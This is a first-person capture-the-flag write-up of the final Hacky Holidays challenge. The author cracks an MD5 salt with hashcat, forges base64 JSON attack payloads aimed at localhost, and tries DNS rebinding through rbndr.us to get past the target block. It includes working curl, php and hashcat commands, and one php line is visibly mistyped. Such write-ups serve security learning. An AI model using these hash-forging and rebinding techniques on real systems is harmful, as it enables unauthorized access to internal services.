The last Challenge! The end of a very cool but long journey

Flag8 1

The Challenge for Flag 12 started with a little shock moment!

I focused on my checklist again and inspected the page source of the landing page.

<body>
<div class="container">
    <div class="col-md-6 col-md-offset-3">

        <div class="text-center"><img src="/assets/images/grinch-networks.png" alt="Grinch Networks"></div>
        <h1 class="text-center">Grinch Network Attack Server</h1>
        <h4 class="text-center">flag{07a03135-9778-4dee-a83c-7ec330728e72}</h4>
        <div class="alert alert-info text-center">
            <p>We've identified Santa's key servers and loaded them into the attack server ready for you to take down</p>
        </div>
        <div class="panel panel-default">
            <div class="panel-heading">Target Servers</div>
            <div class="panel-body" style="padding:0">
                <table class="table" style="margin:0">
                    <tr>
                        <th>Target</th>
                        <th class="text-center">Action</th>
                    </tr>
                                        <tr>
                        <td>203.0.113.33</td>
                        <td class="text-center"><a class="btn btn-danger" href="/attack-box/launch?payload=eyJ0YXJnZXQiOiIyMDMuMC4xMTMuMzMiLCJoYXNoIjoiNWYyOTQwZDY1Y2E0MTQwY2MxOGQwODc4YmMzOTg5NTUifQ==" target="_blank">Attack</a></td>
                    </tr>
                                        <tr>
                        <td>203.0.113.53</td>
                        <td class="text-center"><a class="btn btn-danger" href="/attack-box/launch?payload=eyJ0YXJnZXQiOiIyMDMuMC4xMTMuNTMiLCJoYXNoIjoiMjgxNGY5YzczMTFhODJmMWI4MjI1ODUwMzlmNjI2MDcifQ==" target="_blank">Attack</a></td>
                    </tr>
                                        <tr>
                        <td>203.0.113.213</td>
                        <td class="text-center"><a class="btn btn-danger" href="/attack-box/launch?payload=eyJ0YXJnZXQiOiIyMDMuMC4xMTMuMjEzIiwiaGFzaCI6IjVhYTliNWE0OTdlMzkxOGMwZTE5MDBiMmEyMjI4YzM4In0=" target="_blank">Attack</a></td>
                    </tr>
                                    </table>


            </div>
        </div>



    </div>
</div>
</body>

What is this? Another endpoint accepting a base64 encoded string? Lets decode and take a look on the JSON

/attack-box/launch?payload=eyJ0YXJnZXQiOiIyMDMuMC4xMTMuMzMiLCJoYXNoIjoiNWYyOTQwZDY1Y2E0MTQwY2MxOGQwODc4YmMzOTg5NTUifQ==

decode

{"target":"203.0.113.33","hash":"5f2940d65ca4140cc18d0878bc398955"}

another auth-hash? ADAM? REALLY? …. CRYING!!!

After the last challenge I was not in the mood trying to crack the MD5 again so I analyzed the page source to get a better picture of the application.

There was nothing special on the attack site aka landing page.

A click on the “Atack” Button opened a new browser tab. The launch endpoint took the base64 encoded JSON and launched the attack. Anytime a new attack was launched the URL of the web console changed

https://hackyholidays.h1ctf.com/attack-box/launch/ac840531c39b8dd8393787984f6a3730

Flag8 1

The page source of the web console was a little bit more interesting at the first view because of some javascript.

<script>
    var id = 0;
    function getData() {
        $.getJSON('/attack-box/launch/90632ce38b167fe8c8eb7ed606174d0a.json?id=' + id, function (resp) {
            $.each(resp, function (k, v) {
                $('div.response').append(v.content + '<br>')
                id = v.id;
                if( v.goto.length > 0 ){
                    window.location = v.goto;
                }
            });
        });
    }
    setInterval(function(){ getData(); }, 500);
</script>

This script loads some JSON data and iterates over it. So lets check the JSON retrieved by the script.

https://hackyholidays.h1ctf.com/attack-box/launch/795bf6f7f545a1707b628c25e59eee52.json

[{"id":"44320","content":"Setting Target Information","goto":false},{"id":"44321","content":"Getting Host Information for: 203.0.113.33","goto":false},{"id":"44322","content":"Spinning up botnet","goto":false},{"id":"44323","content":"Launching attack against: 203.0.113.33 \/ 203.0.113.33","goto":false},{"id":"44324","content":"ping 203.0.113.33","goto":false},{"id":"44325","content":"64 bytes from 203.0.113.33: icmp_seq=1 ttl=118 time=20.3 ms","goto":false},{"id":"44326","content":"64 bytes from 203.0.113.33: icmp_seq=2 ttl=118 time=21.1 ms","goto":false},{"id":"44327","content":"64 bytes from 203.0.113.33: icmp_seq=3 ttl=118 time=18.4 ms","goto":false},{"id":"44328","content":"Host still up, maybe try again?","goto":false}]

From what I can see here the information used to launch the attack including time for pings etc. are part of the JSON payload. That means the JSON will be generated after the attack was launched to print the information in the web console window. So I thought it is the wrong place to start with and left the web console window behind.

So lets get back to initial page and the launch attack feature. Our target is the Grinch Servers so probably localhost or 127.0.0.1. I thought maybe the JSON auth has is useless this time and I am really able to simply change the target ip in the JSON file so I tried to send 127.0.0.1 as target host to the launch endpoint and got:

curl -s --cookie "attackbox=d09d508e78f3975e0199a5e91dde9687" https://hackyholidays.h1ctf.com/attack-box/launch?payload=eyJ0YXJnZXQiOiIxMjcuMC4wLjEiLCJoYXNoIjoiNWYyOTQwZDY1Y2E0MTQwY2MxOGQwODc4YmMzOTg5NTUifQ==

Invalid Protection Hash

Okay so the auth hash is calculated based on some data. I was really not feeling well and reached out to some other hackers for a official or new hint before working with MD5 hashes again.

We have to crack the Hash! It is possible to crack the hash just with the data you have in the payload.

That was at least an direction! I started working with the hashes.

What we know

  • JSON Payloads of 3 Attack servers
  • Containing IP and auth_hash
  • Just hashing the IP returned an different auth_hash

{"target":"203.0.113.33","hash":"5f2940d65ca4140cc18d0878bc398955"}

php > echo md5("203.0.113.33");
d9405256f5b33442222fe92371f20bd7

So given they used a salt to hash the IP we need to find a way to find the salt…. But how? How to find a salt?

Lets see how hashing with salts with MD5 works in general:

PHP-Example

php >  $md5 = md5('salt'.'password');
php > echo $md5;
67a1e09bb1f83f5007dc119c14d663aa

The Salt is some random string added at the beginning or end of the data string. In our case the IP address.

So what tool could we use to crack the hash. Right! Hashcat. So lets see.

On the first look there is no way to crack “Salts” with hashcat but wait… we have the hash and we think we have the value (the IP address)

Lets check the hashcat documentation:

-m, --hash-type | Num | Hash-type, see references below | -m 1000


10 | md5($pass.$salt)                                 | Raw Hash, Salted and/or Iterated
20 | md5($salt.$pass)                                 | Raw Hash, Salted and/or Iterated

We have 10 and 20. What should we use. We know the hash and the data. We want to find the salt. As there is no option in hashcat for salts we need to cheat a little bit.

Simply say the IP is the salt and we are looking for the password. But that means the hashing functions looks like this.

md5('password'.'203.0.113.33');

So let’s tell hashcat to use this schema.

~$ hashcat -m 10 --show "5f2940d65ca4140cc18d0878bc398955:203.0.113.33" rockyou.txt

yes… found the “password” aka hash.

5f2940d65ca4140cc18d0878bc398955:203.0.113.33:mrgrinch463

With this hash mrgrinch463 we are hopefully able to create new JSON payloads.

Generate a new JSON Payload with localhost.

php > echo mrgrinch463127.0.0.1");
3e3f8df1658372edf0214e202acb460b
{"target":"127.0.0.1","hash":"3e3f8df1658372edf0214e202acb460b"}
php > echo base64_encode('{"target":"127.0.0.1","hash":"3e3f8df1658372edf0214e202acb460b"}');
eyJ0YXJnZXQiOiIxMjcuMC4wLjEiLCJoYXNoIjoiM2UzZjhkZjE2NTgzNzJlZGYwMjE0ZTIwMmFjYjQ2MGIifQ==

https://hackyholidays.h1ctf.com/attack-box/launch?payload=eyJ0YXJnZXQiOiIxMjcuMC4wLjEiLCJoYXNoIjoiM2UzZjhkZjE2NTgzNzJlZGYwMjE0ZTIwMmFjYjQ2MGIifQ==

So localhost / 127.0.0.1 is not allowed as a target.

Flag8 1

So what else can we do here. There is a common attack called DNS rebinding. So how does this work.

We are using a DNS service like http://1u.ms/ or https://lock.cmpxchg8b.com/rebinder.html

01020304.7f000001.rbndr.us

With the services listed here we are able to create DNS A records with a very small time to live. The first time the DNS query is send to the Server it returns the actual IP address. In our case something else then 127.0.0.1. The second time we send the request to the DNS server within a short period of seconds the server will return 127.0.0.1. This is exactly what we need to bring the server down.

Further reading: https://www.tripwire.com/state-of-security/vert/practical-attacks-dns-rebinding/

{"target":"01020304.7f000001.rbndr.us","hash":"69c31cdcfad3ef1deb652f4aca52d2cc"}

php > echo base64_encode('{"target":"01020304.7f000001.rbndr.us","hash":"69c31cdcfad3ef1deb652f4aca52d2cc"}');
eyJ0YXJnZXQiOiIwMTAyMDMwNC43ZjAwMDAwMS5yYm5kci51cyIsImhhc2giOiI2OWMzMWNkY2ZhZDNlZjFkZWI2NTJmNGFjYTUyZDJjYyJ9

Flag8 1

Flag8 1